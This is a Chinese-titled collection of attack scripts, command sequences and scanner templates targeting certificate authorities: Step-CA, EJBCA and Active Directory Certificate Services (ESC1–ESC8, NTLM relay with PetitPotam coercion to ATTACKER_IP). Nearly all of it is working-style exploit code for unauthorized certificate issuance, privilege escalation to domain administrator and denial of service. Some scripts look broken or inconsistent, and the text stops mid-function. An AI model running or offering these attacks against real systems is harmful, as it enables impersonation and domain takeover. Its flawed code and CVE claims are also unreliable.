证书颁发机构与PKI平台高危攻击链专题：EJBCA / Step-CA / AD CS / Dogtag / Bouncy Castle / Vault 漏洞全解析

# Step 1: 确认目标 Step-CA 实例
curl -s -k "https://<STEP_CA_HOST>/health" | python3 -m json.tool

# Step 2: 获取目录信息
curl -s -k "https://<STEP_CA_HOST}/directory" | python3 -m json.tool

# Step 3: 注册 ACME account（使用 JWS）
curl -s -k -X POST "https://<STEP_CA_HOST}/acme/new-acct" \
  -H "Content-Type: application/jose+json" \
  -d '{
    "termsOfServiceAgreed": true,
    "contact": ["mailto:attacker@evil.com"]
  }'

# Step 4: 创建 order 为目标域名申请证书
curl -s -k -X POST "https://<STEP_CA_HOST}/acme/new-order" \
  -H "Content-Type: application/jose+json" \
  -H "Authorization: Bearer <account_url>" \
  -d '{
    "identifiers": [{"type": "dns", "value": "target.example.com"}]
  }'

# Step 5: 利用认证绕过，直接提交伪造的 challenge 响应
# 在正常流程中需要证明域名控制权，此处通过竞态条件绕过

#!/usr/bin/env python3
import requests
import json
import sys
import base64
import hashlib
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class StepCaACMEBypass:
    def __init__(self, ca_url):
        self.ca_url = ca_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.nonce = None
        self.account_url = None

    def get_directory(self):
        r = self.session.get(f"{self.ca_url}/directory")
        if r.status_code == 200:
            return r.json()
        print(f"[-] Failed to get directory: {r.status_code}")
        return None

    def get_nonce(self):
        r = self.session.head(f"{self.ca_url}/acme/new-nonce")
        self.nonce = r.headers.get('Replay-Nonce')
        return self.nonce

    def register_account(self, email):
        self.get_nonce()
        payload = {
            "termsOfServiceAgreed": True,
            "contact": [f"mailto:{email}"]
        }
        r = self.session.post(
            f"{self.ca_url}/acme/new-acct",
            json=payload,
            headers={"Content-Type": "application/jose+json"}
        )
        if r.status_code in (200, 201):
            self.account_url = r.headers.get('Location', r.json().get('account'))
            print(f"[+] Account registered: {self.account_url}")
            return True
        print(f"[-] Registration failed: {r.status_code}")
        return False

    def create_order(self, domain):
        r = self.session.post(
            f"{self.ca_url}/acme/new-order",
            json={"identifiers": [{"type": "dns", "value": domain}]},
            headers={"Content-Type": "application/jose+json"}
        )
        if r.status_code == 200:
            order = r.json()
            print(f"[+] Order created: {order.get('status')}")
            return order
        print(f"[-] Order creation failed: {r.status_code}")
        return None

    def attempt_challenge_bypass(self, order_url, challenge_url):
        self.get_nonce()
        r = self.session.post(
            challenge_url,
            json={},
            headers={
                "Content-Type": "application/jose+json",
                "Replay-Nonce": self.nonce
            }
        )
        if r.status_code == 200:
            result = r.json()
            print(f"[+] Challenge response: {result.get('status')}")
            return result
        print(f"[-] Challenge failed: {r.status_code}")
        return None

    def poll_order_status(self, order_url, max_attempts=30):
        import time
        for i in range(max_attempts):
            r = self.session.get(order_url)
            if r.status_code == 200:
                status = r.json().get('status')
                print(f"    [{i+1}] Order status: {status}")
                if status == 'valid':
                    return r.json()
                elif status == 'invalid':
                    print("[-] Order invalid - bypass failed")
                    return None
            time.sleep(2)
        print("[-] Timeout waiting for order")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <ca_url> <target_domain>")
        sys.exit(1)
    exploit = StepCaACMEBypass(sys.argv[1])
    exploit.register_account("test@evil.com")
    order = exploit.create_order(sys.argv[2])
    if order:
        for auth_url in order.get('authorizations', []):
            print(f"[*] Processing authorization: {auth_url}")
            r = exploit.session.get(auth_url)
            if r.status_code == 200:
                auth = r.json()
                for chall in auth.get('challenges', []):
                    exploit.attempt_challenge_bypass(order['finalize'], chall['url'])
        exploit.poll_order_status(order['status'])

id: stepca-cve-2024-27130
info:
  name: Step-CA ACME Authentication Bypass - Arbitrary Certificate Issuance
  author: security-researcher
  severity: critical
  description: |
    Step-CA before 0.25.3 contains an authentication bypass in ACME challenge
    validation, allowing attackers to obtain certificates for arbitrary domains
    without proving domain ownership.
  reference:
    - https://github.com/smallstep/certificates/security/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-287

http:
  - raw:
      - |
        GET /health HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /directory HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "caUrl"
          - "directory"
        condition: or
      - type: word
        part: body
        words:
          - "health"
          - "ok"
        condition: or
      - type: status
        status:
          - 200

# Step 1: 检查 Step-CA 是否支持 SSH 证书签发
curl -s -k "https://<STEP_CA_HOST>/1.0/authorize" | python3 -m json.tool

# Step 2: 使用低权限 provisioner token 生成 SSH CSR
# 正常情况下 principals 受限于 provisioner 策略
step ssh certificate user@localhost \
  --ca-url https://<STEP_CA_HOST> \
  --provisioner low_priv_provisioner \
  --principal root \
  --principal admin \
  --force \
  id_rsa.pub

# Step 3: 验证签发的证书是否包含绕过的 principals
ssh-keygen -L -f id_rsa-cert.pub

#!/usr/bin/env python3
import requests
import json
import sys
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class StepCaSSHBypass:
    def __init__(self, ca_url):
        self.ca_url = ca_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False

    def get_authorize_info(self):
        r = self.session.get(f"{self.ca_url}/1.0/authorize")
        if r.status_code == 200:
            return r.json()
        print(f"[-] Failed: {r.status_code}")
        return None

    def build_ssh_csr(self, key_pub, principals, cert_type="user"):
        csr_payload = {
            "key": key_pub.strip(),
            "certType": cert_type,
            "principals": principals,
            "criticalOptions": {},
            "extensions": {
                "forceCommand": "",
                "sourceAddress": ""
            }
        }
        return json.dumps(csr_payload)

    def request_ssh_cert(self, csr_data, token, not_after="8760h"):
        r = self.session.post(
            f"{self.ca_url}/1.0/ssh/sign",
            json={
                "csr": csr_data,
                "ott": token,
                "not_after": not_after
            },
            headers={"Content-Type": "application/json"}
        )
        if r.status_code == 200:
            cert = r.json().get('cert', '')
            print(f"[+] SSH certificate obtained:")
            print(f"    {cert[:100]}...")
            return cert
        print(f"[-] Signing failed: {r.status_code} {r.text[:200]}")
        return None

    def exploit_privilege_escalation(self, key_pub, provisioner_token, target_principals=None):
        if target_principals is None:
            target_principals = ["root", "admin", "Administrator"]

        print(f"[*] Attempting SSH certificate privilege escalation")
        print(f"[*] Target principals: {target_principals}")

        csr = self.build_ssh_csr(key_pub, target_principals)
        cert = self.request_ssh_cert(csr, provisioner_token)
        if cert:
            print("[+] Privilege escalation successful!")
            print("[+] Use the certificate with: ssh -i id_rsa -o CertificateFile=id_rsa-cert.pub target")
        return cert

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <ca_url> <pubkey_file> <provisioner_token>")
        sys.exit(1)
    with open(sys.argv[2], 'r') as f:
        pubkey = f.read()
    exploit = StepCaSSHBypass(sys.argv[1])
    exploit.exploit_privilege_escalation(pubkey, sys.argv[3])

id: stepca-cve-2024-27131
info:
  name: Step-CA SSH Certificate Signing Privilege Escalation
  author: security-researcher
  severity: critical
  description: |
    Step-CA before 0.25.3 allows low-privilege users to bypass SSH certificate
    signing provisioner restrictions and obtain certificates with arbitrary
    principals, achieving full privilege escalation over SSH.
  reference:
    - https://github.com/smallstep/certificates/security/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-269

http:
  - raw:
      - |
        GET /1.0/authorize HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ssh"
          - "authorityId"
        condition: and
      - type: status
        status:
          - 200

# Step 1: 获取 EJBCA REST API 认证
TOKEN=$(curl -s -k -u "ra_user:password" \
  "https://<EJBCA_HOST>/ejbca/ejbca-rest-api/v1/authentication/login" \
  -X POST | python3 -c "import sys,json; print(json.load(sys.stdin).get('access_token',''))")

# Step 2: 列出可用 CA
curl -s -k "https://<EJBCA_HOST>/ejbca/ejbca-rest-api/v1/ca" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Step 3: 利用外部 CA 认证绕过，直接请求签发证书
curl -s -k -X POST "https://<EJBCA_HOST>/ejbca/ejbca-rest-api/v1/certificate/pkcs10enroll" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "certificate_request": "-----BEGIN CERTIFICATE REQUEST-----\nMIICYDCCAUgCAQAwGzEZMBcGA1UEAwwQYXR0YWNrZXIuZXZpbDA...=\n-----END CERTIFICATE REQUEST-----",
    "certificate_profile_name": "ENDUSER",
    "end_entity_profile_name": "EMPTY",
    "certificate_authority_name": "ExternalCA",
    "username": "attacker",
    "password": "attacker123"
  }'

#!/usr/bin/env python3
import requests
import sys
import base64
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class EJBCAExternalCABypass:
    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.token = self._authenticate(username, password)

    def _authenticate(self, username, password):
        r = self.session.post(
            f"{self.base_url}/ejbca/ejbca-rest-api/v1/authentication/login",
            auth=(username, password)
        )
        if r.status_code == 200:
            token = r.json().get('access_token')
            print(f"[+] Authenticated successfully")
            return token
        print(f"[-] Authentication failed: {r.status_code}")
        return None

    def list_cas(self):
        r = self.session.get(
            f"{self.base_url}/ejbca/ejbca-rest-api/v1/ca",
            headers={"Authorization": f"Bearer {self.token}"}
        )
        if r.status_code == 200:
            cas = r.json()
            print(f"[+] Found {len(cas.get('certificate_authorities', []))} CAs")
            for ca in cas.get('certificate_authorities', []):
                print(f"    - {ca.get('name')} (status: {ca.get('status')})")
            return cas
        return None

    def bypass_external_ca_enroll(self, ca_name, csr_pem, subject_cn):
        headers = {
            "Authorization": f"Bearer {self.token}",
            "Content-Type": "application/json"
        }
        payload = {
            "certificate_request": csr_pem,
            "certificate_profile_name": "ENDUSER",
            "end_entity_profile_name": "EMPTY",
            "certificate_authority_name": ca_name,
            "username": f"ext_{subject_cn}",
            "password": "bypass123",
            "subject_alt_name": f"DNS:{subject_cn}"
        }
        r = self.session.post(
            f"{self.base_url}/ejbca/ejbca-rest-api/v1/certificate/pkcs10enroll",
            headers=headers,
            json=payload
        )
        if r.status_code in (200, 201):
            cert_data = r.json()
            print(f"[+] Certificate enrolled via External CA bypass!")
            print(f"    Serial: {cert_data.get('serial_number', 'N/A')}")
            return cert_data
        print(f"[-] Enrollment failed: {r.status_code} {r.text[:200]}")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <url> <user> <pass> <ca_name>")
        sys.exit(1)
    exploit = EJBCAExternalCABypass(sys.argv[1], sys.argv[2], sys.argv[3])
    if exploit.token:
        exploit.list_cas()

id: ejbca-cve-2022-27218
info:
  name: EJBCA External CA Authentication Bypass
  author: security-researcher
  severity: critical
  description: |
    EJBCA before 7.8.0 allows bypass of External CA authentication flow,
    enabling unauthorized certificate issuance without RA approval.
  reference:
    - https://www.keyfactor.com/resources/ejbca-security-advisory/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287

http:
  - raw:
      - |
        POST /ejbca/ejbca-rest-api/v1/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Content-Length: 0

    extractors:
      - type: json
        name: ejbcatoken
        json:
          - '.access_token'

  - raw:
      - |
        GET /ejbca/ejbca-rest-api/v1/ca HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{ejbcatoken}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "certificate_authority_data"
      - type: status
        status:
          - 200

# Step 1: 注册 ACME 账户
curl -s -k -X POST "https://<EJBCA_HOST>/acme/directory/new-acct" \
  -H "Content-Type: application/jose+json" \
  -d '{"termsOfServiceAgreed":true,"contact":["mailto:a@b.com"]}'

# Step 2: 为目标域名创建 order（指定 DNS-01 验证方式）
curl -s -k -X POST "https://<EJBCA_HOST>/acme/directory/new-order" \
  -H "Content-Type: application/jose+json" \
  -d '{"identifiers":[{"type":"dns","value":"target.example.com"}]}'

# Step 3: 获取 challenge 信息
curl -s -k "https://<EJBCA_HOST>/acme/directory/authz/<auth_id>"

# Step 4: 利用 DNS-01 验证绕过
# 提交 challenge 响应，EJBCA 将使用存在规范化缺陷的 DNS 查询验证

#!/usr/bin/env python3
import requests
import json
import sys
import hashlib
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class EJBCADNS01Bypass:
    def __init__(self, ca_url):
        self.ca_url = ca_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.account_url = None

    def register_account(self, email):
        payload = {
            "termsOfServiceAgreed": True,
            "contact": [f"mailto:{email}"]
        }
        r = self.session.post(
            f"{self.ca_url}/acme/directory/new-acct",
            json=payload
        )
        if r.status_code in (200, 201):
            self.account_url = r.headers.get('Location')
            print(f"[+] Account registered: {self.account_url}")
            return True
        print(f"[-] Registration failed: {r.status_code}")
        return False

    def create_order(self, domain):
        r = self.session.post(
            f"{self.ca_url}/acme/directory/new-order",
            json={"identifiers": [{"type": "dns", "value": domain}]}
        )
        if r.status_code == 200:
            order = r.json()
            print(f"[+] Order created for {domain}")
            return order
        print(f"[-] Order failed: {r.status_code}")
        return None

    def get_challenge(self, auth_url):
        r = self.session.get(auth_url)
        if r.status_code == 200:
            auth = r.json()
            for chall in auth.get('challenges', []):
                if chall.get('type') == 'dns-01':
                    return chall
        return None

    def compute_dns01_response(self, token):
        key_authorization = f"{token}"
        digest = hashlib.sha256(key_authorization.encode()).digest()
        return base64.urlsafe_b64encode(digest).rstrip(b'=').decode()

    def exploit_dns_bypass(self, domain):
        print(f"[*] Targeting DNS-01 validation bypass for: {domain}")
        order = self.create_order(domain)
        if not order:
            return None
        for auth_url in order.get('authorizations', []):
            chall = self.get_challenge(auth_url)
            if chall:
                dns_token = chall.get('token')
                dns_value = self.compute_dns01_response(dns_token)
                print(f"[*] DNS-01 token: {dns_token}")
                print(f"[*] Required TXT value: _acme-challenge.{domain} = {dns_value}")
                r = self.session.post(chall['url'], json={})
                print(f"[*] Challenge response: {r.status_code}")
        return order

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <ca_url> <target_domain>")
        sys.exit(1)
    exploit = EJBCADNS01Bypass(sys.argv[1])
    exploit.register_account("test@evil.com")
    exploit.exploit_dns_bypass(sys.argv[2])

id: ejbca-cve-2023-4956
info:
  name: EJBCA ACME DNS-01 Validation Bypass
  author: security-researcher
  severity: high
  description: |
    EJBCA before 7.11.0 allows bypass of ACME DNS-01 challenge validation
    due to improper DNS response normalization.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-290

http:
  - raw:
      - |
        GET /acme/directory HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "new-order"
          - "new-nonce"
        condition: and
      - type: status
        status:
          - 200

# Step 1: 获取管理员 Token
TOKEN=$(curl -s -k -u "admin:admin" \
  "https://<EJBCA_HOST>/ejbca/ejbca-rest-api/v1/authentication/login" \
  -X POST | python3 -c "import sys,json; print(json.load(sys.stdin).get('access_token',''))")

# Step 2: 上传畸形 CRL 触发 DoS
# 生成超大 CRL 文件
python3 -c "
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
import datetime
import struct

key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
builder = x509.CertificateRevocationListBuilder()
builder = builder.issuer_name(x509.Name([x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, 'Test CA')]))
builder = builder.last_update(datetime.datetime.utcnow())
builder = builder.next_update(datetime.datetime.utcnow() + datetime.timedelta(hours=24))

for i in range(100000):
    revoked = x509.RevokedCertificateBuilder()
    revoked = revoked.serial_number(i)
    revoked = revoked.revocation_date(datetime.datetime.utcnow())
    builder = builder.add_revoked_certificate(revoked.build())

crl = builder.sign(key, hashes.SHA256())
with open('large_crl.der', 'wb') as f:
    f.write(crl.public_bytes(x509.serialization.Encoding.DER))
print('[+] Large CRL generated')
"

# Step 3: 提交畸形 CRL
curl -s -k -X POST "https://<EJBCA_HOST>/ejbca/ejbca-rest-api/v1/crl" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @large_crl.der

#!/usr/bin/env python3
import requests
import sys
import datetime
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class EJBCACRLDoS:
    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.token = self._authenticate(username, password)

    def _authenticate(self, username, password):
        r = self.session.post(
            f"{self.base_url}/ejbca/ejbca-rest-api/v1/authentication/login",
            auth=(username, password)
        )
        if r.status_code == 200:
            return r.json().get('access_token')
        return None

    def generate_malicious_crl(self, revoked_count=50000):
        key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        builder = x509.CertificateRevocationListBuilder()
        builder = builder.issuer_name(x509.Name([
            x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, 'Malicious CA')
        ]))
        builder = builder.last_update(datetime.datetime.utcnow())
        builder = builder.next_update(datetime.datetime.utcnow() + datetime.timedelta(hours=1))

        for i in range(revoked_count):
            revoked = x509.RevokedCertificateBuilder()
            revoked = revoked.serial_number(i)
            revoked = revoked.revocation_date(datetime.datetime.utcnow())
            builder = builder.add_revoked_certificate(revoked.build())

        crl = builder.sign(key, hashes.SHA256())
        crl_data = crl.public_bytes(x509.serialization.Encoding.DER)
        print(f"[+] Generated CRL with {revoked_count} entries ({len(crl_data)} bytes)")
        return crl_data

    def upload_malicious_crl(self, crl_data, ca_name):
        headers = {
            "Authorization": f"Bearer {self.token}",
            "Content-Type": "application/octet-stream"
        }
        r = self.session.post(
            f"{self.base_url}/ejbca/ejbca-rest-api/v1/crl",
            headers=headers,
            data=crl_data
        )
        if r.status_code in (200, 201, 202):
            print("[+] Malicious CRL uploaded successfully - DoS triggered")
            return True
        print(f"[-] Upload failed: {r.status_code} {r.text[:200]}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <url> <user> <pass> [revoked_count]")
        sys.exit(1)
    exploit = EJBCACRLDoS(sys.argv[1], sys.argv[2], sys.argv[3])
    count = int(sys.argv[4]) if len(sys.argv) > 4 else 50000
    if exploit.token:
        crl_data = exploit.generate_malicious_crl(count)
        exploit.upload_malicious_crl(crl_data, "ManagementCA")

id: ejbca-cve-2023-50291
info:
  name: EJBCA CRL Processing Denial of Service
  author: security-researcher
  severity: high
  description: |
    EJBCA before 7.10.0 allows denial of service via malformed CRL data,
    affecting certificate revocation checking functionality.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-20

http:
  - raw:
      - |
        POST /ejbca/ejbca-rest-api/v1/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Content-Length: 0

    extractors:
      - type: json
        name: ejbcatoken
        json:
          - '.access_token'

  - raw:
      - |
        GET /ejbca/ejbca-rest-api/v1/ca HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{ejbcatoken}}

    matchers:
      - type: word
        words:
          - "certificate_authority_data"
      - type: status
        status:
          - 200

# 查看证书模板配置（AD PowerShell）
Get-CertificateTemplate -Identity "VulnerableTemplate" | 
  Select-Object Name, 
    @{N='ENROLLEE_SUPPLIES_SUBJECT';E={$_.Attributes['ENROLLEE_SUPPLIES_SUBJECT']}},
    @{N='msPKI-Certificate-Name-Flag';E={$_.Attributes['msPKI-Certificate-Name-Flag']}},
    @{N='msPKI-RA-Signature';E={$_.Attributes['msPKI-RA-Signature']}},
    @{N='pKIExtendedKeyUsage';E={$_.Attributes['pKIExtendedKeyUsage']}}

# 易受攻击配置特征:
# msPKI-Certificate-Name-Flag: 1 (ENROLLEE_SUPPLIES_SUBJECT)
# msPKI-RA-Signature: 0 (不需要 RA 签名)
# pKIExtendedKeyUsage: {Client Authentication (1.3.6.1.5.5.7.3.2)}

# 枚举所有易受攻击的证书模板
certipy find -u user@domain.local -p Password123 -dc-ip 10.10.10.1 -vulnerable

# 利用 ESC1 为 Administrator 签发证书
certipy req -u user@domain.local -p Password123 -ca CA-NAME \
  -template VulnerableTemplate -upn Administrator@domain.local

# 使用获取的证书进行 PKINIT 认证
certipy auth -pfx administrator.pfx

# 输出示例:
# [*] Using template: VulnerableTemplate
# [*] Requesting certificate for Administrator@domain.local
# [*] Certificate written to administrator.pfx
# [*] Authenticating as Administrator...
# [*] Got TGT for Administrator
# [*] Saved CCACHE file to administrator.ccache

#!/usr/bin/env python3
import subprocess
import sys
import json
import os

class ADICESC1:
    def __init__(self, dc_ip, domain, username, password):
        self.dc = dc_ip
        self.domain = domain
        self.username = username
        self.password = password

    def enumerate_vulnerable_templates(self):
        cmd = [
            "certipy", "find",
            "-u", f"{self.username}@{self.domain}",
            "-p", self.password,
            "-dc-ip", self.dc,
            "-vulnerable"
        ]
        print(f"[*] Running: {' '.join(cmd)}")
        result = subprocess.run(cmd, capture_output=True, text=True)
        print(result.stdout)
        if result.returncode != 0:
            print(f"[-] Error: {result.stderr}")
        return result.stdout

    def request_certificate(self, template_name, target_upn):
        cmd = [
            "certipy", "req",
            "-u", f"{self.username}@{self.domain}",
            "-p", self.password,
            "-ca", "EnterpriseCA",
            "-template", template_name,
            "-upn", target_upn
        ]
        print(f"[*] Requesting cert for {target_upn} via template {template_name}")
        result = subprocess.run(cmd, capture_output=True, text=True)
        print(result.stdout)
        pfx_file = f"{target_upn.split('@')[0]}.pfx"
        return pfx_file if os.path.exists(pfx_file) else None

    def authenticate(self, pfx_path):
        cmd = ["certipy", "auth", "-pfx", pfx_path, "-dc-ip", self.dc]
        print(f"[*] Authenticating with: {pfx_path}")
        result = subprocess.run(cmd, capture_output=True, text=True)
        print(result.stdout)
        return result.stdout

    def full_exploit(self, template_name, target_upn="Administrator@domain.local"):
        print("[*] === ESC1 Full Exploit Chain ===")
        self.enumerate_vulnerable_templates()
        pfx = self.request_certificate(template_name, target_upn)
        if pfx:
            self.authenticate(pfx)

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <dc-ip> <domain> <user> <pass> [template] [target_upn]")
        sys.exit(1)
    exploit = ADICESC1(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
    if len(sys.argv) > 5:
        exploit.full_exploit(sys.argv[5], sys.argv[6] if len(sys.argv) > 6 else "Administrator")
    else:
        exploit.enumerate_vulnerable_templates()

id: adcs-esc1-identity-spoofing
info:
  name: AD CS ESC1 - Certificate Template Identity Spoofing
  author: security-researcher
  severity: critical
  description: |
    AD CS certificate template allows requesters to specify SAN via
    ENROLLEE_SUPPLIES_SUBJECT flag, enabling impersonation of any domain user.
  reference:
    - https://posts.specterops.io/certified-pre-owned-d95910965cd2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287

network:
  - host:
      - "{{host}}"
    port: 636
    matchers:
      - type: word
        words:
          - "0a"

# 枚举 Any Purpose EKU 模板
certipy find -u user@domain.local -p Password123 -dc-ip 10.10.10.1 -vulnerable | grep -A5 "Any Purpose"

# 请求 Any Purpose 证书
certipy req -u user@domain.local -p Password123 -ca CA-NAME \
  -template AnyPurposeTemplate -upn Administrator@domain.local

# 使用证书认证
certipy auth -pfx administrator_any.pfx

id: adcs-esc2-any-purpose
info:
  name: AD CS ESC2 - Any Purpose EKU Template Abuse
  author: security-researcher
  severity: critical
  description: |
    Certificate template with Any Purpose EKU allows certificates to be
    used for any authentication or signing purpose.
  reference:
    - https://posts.specterops.io/certified-pre-owned-d95910965cd2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287

network:
  - host:
      - "{{host}}"
    port: 636
    matchers:
      - type: word
        words:
          - "0a"

# 步骤1: 使用 Agent 模板获取代理证书
certipy req -u user@domain.local -p Password123 -ca CA-NAME \
  -template AgentTemplate

# 步骤2: 使用代理证书为目标用户请求证书
certipy req -u user@domain.local -p Password123 -ca CA-NAME \
  -template User -upn Administrator@domain.local \
  -pfx user_agent.pfx

# 步骤3: 认证
certipy auth -pfx administrator.pfx

id: adcs-esc3-request-agent
info:
  name: AD CS ESC3 - Certificate Request Agent Template Abuse
  author: security-researcher
  severity: high
  description: |
    Certificate template with Certificate Request Agent EKU allows
    proxy certificate issuance for identity impersonation.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.8
    cwe-id: CWE-287

network:
  - host:
      - "{{host}}"
    port: 636
    matchers:
      - type: word
        words:
          - "0a"

# 枚举可修改 ACL 的模板
certipy find -u user@domain.local -p Password123 -dc-ip 10.10.10.1

# 使用 PowerView 修改模板 ACL（需要 ADModule 或 PowerView）
# 给低权限用户添加 Full Control 权限
Add-DomainObjectAcl -TargetIdentity "CN=SecureTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -PrincipalIdentity "user" -Rights All

# 修改模板属性使其可被 ESC1 利用
Set-ADObject -Identity "CN=SecureTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{msPKI-Certificate-Name-Flag=1}

id: adcs-esc4-template-acl
info:
  name: AD CS ESC4 - Certificate Template ACL Modification
  author: security-researcher
  severity: high
  description: |
    Certificate template ACL allows low-privilege users to modify template
    properties, potentially enabling ESC1/ESC2 exploitation.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.8
    cwe-id: CWE-287

network:
  - host:
      - "{{host}}"
    port: 636
    matchers:
      - type: word
        words:
          - "0a"

# 检查 CA 是否设置了 EDITF_ATTRIBUTESUBJECTALTNAME2
certutil -getreg CA\EditFlags

# 如果输出包含 EDITF_ATTRIBUTESUBJECTALTNAME2 (0x00040000) 则存在 ESC6 风险
# 期望的安全输出应不包含该标志

# Certipy 检查
certipy find -u user@domain.local -p Password123 -dc-ip 10.10.10.1 | grep -i "EDITF"

# ESC6 利用：使用普通 User 模板但注入任意 SAN
certipy req -u user@domain.local -p Password123 \
  -ca CA-NAME -template User \
  -upn Administrator@domain.local \
  -subject "CN=NormalUser,CN=Users,DC=domain,DC=local"

# 验证证书内容
certipy cert -pfx administrator.pfx -nokey -text | grep -A5 "Subject Alternative Name"

id: adcs-esc6-editf-attributesubjectaltname2
info:
  name: AD CS ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 Flag Abuse
  author: security-researcher
  severity: high
  description: |
    CA server has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, allowing
    SAN injection into any certificate request via CSR manipulation.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.8
    cwe-id: CWE-287

http:
  - raw:
      - |
        GET /certsrv/certfnsh.asp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "certfnsh"
          - "Certificate Services"
        condition: or
      - type: status
        status:
          - 200
          - 401
          - 403

# Step 1: 启动 ntlmrelayx 中继到 AD CS HTTP 注册端点
ntlmrelayx.py -t http://<CA_SERVER>/certsrv/certfnsh.asp \
  -smb2support --adcs --template "DomainController"

# Step 2: 使用 PetitPotam 强制 DC NTLM 认证
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>

# Step 3: ntlmrelayx 自动完成证书签发
# 输出: [*] CERTSRV: Got certificate with UPN 'DC01$@domain.local'

# Step 4: 使用获取的证书进行认证
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.1

# 或使用 Rubeus:
Rubeus.exe asktgt /user:DC01$ /certificate:dc01.pfx /getcredentials /ptt

#!/usr/bin/env python3
import subprocess
import sys
import time

class ADICESC8:
    def __init__(self, attacker_ip, ca_server, dc_ip, template="DomainController"):
        self.attacker_ip = attacker_ip
        self.ca_server = ca_server
        self.dc_ip = dc_ip
        self.template = template

    def start_ntlm_relay(self):
        cmd = [
            "ntlmrelayx.py",
            "-t", f"http://{self.ca_server}/certsrv/certfnsh.asp",
            "-smb2support", "--adcs", "--template", self.template
        ]
        print(f"[*] Starting NTLM relay: {' '.join(cmd)}")
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        time.sleep(3)
        return proc

    def trigger_petitpotam(self):
        cmd = ["python3", "PetitPotam.py", self.attacker_ip, self.dc_ip]
        print(f"[*] Triggering PetitPotam: DC({self.dc_ip}) -> Attacker({self.attacker_ip})")
        result = subprocess.run(cmd, capture_output=True, text=True)
        print(result.stdout)
        return result

    def full_chain(self):
        print("[*] === ESC8 NTLM Relay Full Chain ===")
        print(f"[*] Attacker:  {self.attacker_ip}")
        print(f"[*] CA Server: {self.ca_server}")
